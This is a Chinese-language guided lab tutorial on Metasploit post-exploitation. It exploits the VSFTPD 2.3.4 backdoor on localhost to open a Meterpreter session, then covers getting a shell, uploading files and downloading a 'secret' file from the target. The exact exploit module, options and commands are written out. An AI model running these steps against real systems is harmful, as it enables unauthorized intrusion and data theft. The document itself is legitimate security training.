Metasploit 基础后渗透

LinuxBeginner
立即练习

简介

在本实验中,你将学习使用 Metasploit 框架进行后渗透的基础知识。首先,你将通过利用一个存在漏洞的 FTP 服务器获取初始访问权限,从而建立一个 Meterpreter 会话。随后,你将进入后渗透阶段。该阶段的目标是探索受控系统、提升权限并窃取数据。

你将练习使用必要的 Meterpreter 命令来与会话进行交互、执行 Shell 命令,以及在攻击者和受害者机器之间传输文件。本实验将引导你从初始漏洞利用过渡到基础的后渗透技术。

这是一个引导式实验,提供分步说明以帮助你学习和练习。请仔细按照说明操作,完成每个步骤并获得实践经验。历史数据显示,这是一个初级水平的实验,完成率为 88%。它获得了学员 95% 的好评率。

获取初始访问权限

在此步骤中,你将通过利用 VSFTPD 2.3.4 服务中的后门来获取目标系统的访问权限。这将为你提供一个用于后渗透的 Meterpreter 会话。

首先,启动 Metasploit 框架控制台。

msfconsole -q

Metasploit 运行后,选择用于 VSFTPD 2.3.4 后门的漏洞利用模块。

use exploit/unix/ftp/vsftpd_234_backdoor

现在,配置目标和 Payload 选项。由于服务运行在同一台机器上,我们使用回环 IP 地址。默认的 Payload 需要 LHOST,如果出现 "All encoders failed to encode" 错误,请设置编码器以避免此问题:

set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none

最后,启动漏洞利用。

exploit

故障排除:如果你看到 Msf::OptionValidateError One or more options failed to validate: LHOST,请运行 set LHOST 127.0.0.1。如果你看到 All encoders failed to encode,请运行 set Encoder generic/none。然后再次运行 exploit

警告:第一次尝试可能会失败,并显示 "Unable to connect to backdoor on 6200/TCP. Cooldown?" 或 "Exploit completed, but no session was created."。如果发生这种情况,只需再次运行 exploit 命令即可——第二次尝试通常会成功。

如果成功,将打开一个 Meterpreter 会话(会话 1)。

[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >

现在你已经拥有了一个 Meterpreter 会话。要返回 msf > 提示符以进行下一步,请按 Ctrl+Z,然后在询问 "Background session 1?" 时输入 y

与 Meterpreter 会话交互

现在你已经在后台拥有了一个 Meterpreter 会话,接下来将学习如何与其交互。sessions 命令用于列出所有活动会话,且仅在 Metasploit 主提示符(msf exploit(...) >)下有效,在 Meterpreter 内部无效。

要查看活动会话,请运行:

sessions

你应该能看到 ID 为 1 的 Meterpreter 会话。

Active sessions
===============

  Id  Name  Type                    Information  Connection
  --  ----  ----                    -----------  ----------
  1         meterpreter x86/linux                127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)

要与会话 1 交互,请运行:

sessions -i 1

你的提示符将变为 meterpreter >,表明你现在已进入该会话。

[*] Starting interaction with 1...

meterpreter >

你现在可以从 Meterpreter 内部运行后渗透命令了。

使用 shell 命令运行 Shell

在 Meterpreter 内部,你可以进入标准的系统 Shell 以在目标上运行命令。当你需要执行特定于 Shell 的命令或脚本时,这非常有用。

meterpreter > 提示符下,输入:

shell

一个标准 Shell 将在远程目标上打开。提示符可能会短暂卡顿,但你现在已经进入了系统 Shell,可以直接运行命令。

Process 1654 created.
Channel 1 created.

运行 whoami 以确认你的用户身份:

whoami
labex

输入 exit 返回到 Meterpreter 提示符。

exit

你的提示符将变回 meterpreter >。在下一步中,你将使用此会话将文件上传到目标机器。

使用 upload /local/path /remote/path 上传文件

Meterpreter 的 upload 命令可以将文件从本地机器传输到目标机器。在 /home/labex/project 目录下有一个名为 local_file.txt 的文件。将其上传到远程机器的 /tmp 目录。

meterpreter > 提示符下,运行:

upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt

你将看到确认上传的输出:

[*] Uploading  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed  : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt

在本实验中,目标运行在同一台机器上,因此文件会出现在 /tmp/uploaded_file.txt。接下来,你将练习反向操作:从目标下载文件。

使用 download /remote/path /local/path 下载文件

download 命令可以将文件从目标机器传输到你的本地机器。远程系统 /tmp 目录下有一个名为 secret_data.txt 的文件。将其下载到你的项目目录中。

meterpreter > 提示符下,运行:

download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt

你将看到确认下载的输出。Meterpreter 可能会创建一个名为 downloaded_secret.txt 的目录,并将文件以 secret_data.txt 的名称放置在其中。

[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed  : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt

文件现在已位于你的本地机器上。在最后一步中,你将关闭会话并验证下载的内容。

使用 exit 命令退出会话

在最后一步中,你将关闭 Meterpreter 会话并退出 Metasploit 控制台。

meterpreter > 提示符下,输入 exit 以关闭会话。

exit
[*] Shutting down session: 1

[*] 127.0.0.1 - Meterpreter session 1 closed.  Reason: Died

要退出 Metasploit 控制台,请输入 exit。如果系统提示存在活动会话,请使用 exit -y 强制退出。

exit -y

验证下载的文件。如前所述,Meterpreter 可能创建了一个目录;文件位于 downloaded_secret.txt/secret_data.txt

cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.

恭喜!你已经完成了一个完整的漏洞利用和后渗透工作流程。

总结

在本实验中,你学习了从初始访问到后渗透的完整工作流程。你首先通过漏洞利用获取了一个 Meterpreter 会话。你练习了如何列出并与会话交互、从 Meterpreter 获取标准系统 Shell,并掌握了使用 uploaddownload 命令在攻击者和受害者机器之间传输文件。最后,你学习了如何正确关闭会话并退出 Metasploit 控制台。这些技能是渗透测试的基础。